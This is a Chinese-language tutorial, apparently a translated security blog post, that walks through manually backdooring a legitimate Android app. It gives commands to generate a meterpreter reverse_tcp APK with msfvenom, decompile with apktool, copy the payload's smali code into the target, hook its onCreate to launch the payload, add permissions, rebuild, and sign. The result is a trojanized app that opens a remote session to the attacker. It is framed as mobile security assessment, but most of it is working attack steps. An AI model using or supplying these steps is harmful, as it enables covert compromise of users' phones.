导语:大多数安卓应用程序都对底层二进制文件缺乏足够的防护,所以攻击者可以很简单的将带有后门的应用程序转换为合法的。这就是安卓手机中恶意软件传播如此迅速的原因之一。
在移动安全评估中,我们尝试将一些常用的应用程序加载上后门,并且加上后门之后应用程序毫无异常。这就可以用来证明如果使用的应用程序被种上后门,使用者会毫无知觉。
使用脚本将msf后门注入到安卓程序中已经在上一篇文章进行发表了。这一篇文章会通过手工将后门注入到应用程序中。
步骤一:生成攻击载荷
metasploit中的msfvenom可以生成多种类型的攻击载荷,当然我们也可以使用它来生成一个包含msf后门的apk。
使用如下命令:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.169 LPORT=4444 R > pentestlab.apk No platform was selected, choosing Msf::Module::Platform::Android from the payload No Arch selected, selecting Arch: dalvik from the payload No encoder or badchars specified, outputting raw payload Payload size: 8839 bytes
步骤二:逆向apk文件
首先,要对目标文件以及刚刚生成的apk文件进行反编译。使用的工具为众所周知的apktool。下面命令会将apk反编译,然后将反编译出来的代码保存到一个后缀名为smail的文件中:
java -jar apktool.jar d -f -o payload /root/Downloads/pentestlab.apk I: Using Apktool 2.2.2 on pentestlab.apk I: Loading resource table... I: Decoding AndroidManifest.xml with resources... I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk I: Regular manifest package... I: Decoding file-resources... I: Decoding values */* XMLs... I: Baksmaling classes.dex... I: Copying assets and libs... I: Copying unknown files... I: Copying original files...
步骤三:放置后门文件
将从产生的apk中后门文件放到目标文件中,具体内容以及方式如下:
/root/Downloads/payload/smali/com/metasploit/stage /root/Downloads/original/smali/com/metasploit/stage
步骤四:注入hook
我们必须检测安卓应用程序清单文件,这样可以确定在打开安卓应用程序时进行了那些活动。进而确定我们的后门程序会不会执行:
将下图中的主函数中的代码内容用后门代码替换:
;->onCreate(Landroid/os/Bundle;)V
以下代码会在程序启动时,执行后门,以及启动应用程序:
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
步骤五:给予应用程序权限
为了使我们的后门能够更有效的工作,需要给予安卓应用程序应有的权限。可以将这些额外的权限添加到安卓清单文件中,这样的话,如果用户同意,这个应用程序就会给予后门应有的权限。
步骤六:编译应用程序
现在我们已经将后门以及权限设置注入到目标应用程序当中,我们要对源代码进行编译,同样使用apktool。
java -jar apktool.jar b /root/Downloads/original/
步骤七:对apk进行签名
如果apk为签名,那么apk将不能在手机中安装。默认的安装的调试签名可以在这使用:
jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA /root/Downloads/original/dist/target.apk androiddebugkey
当用户安装并且打开存在后门的应用程序时,我们就会得到meterpreter返回的会话: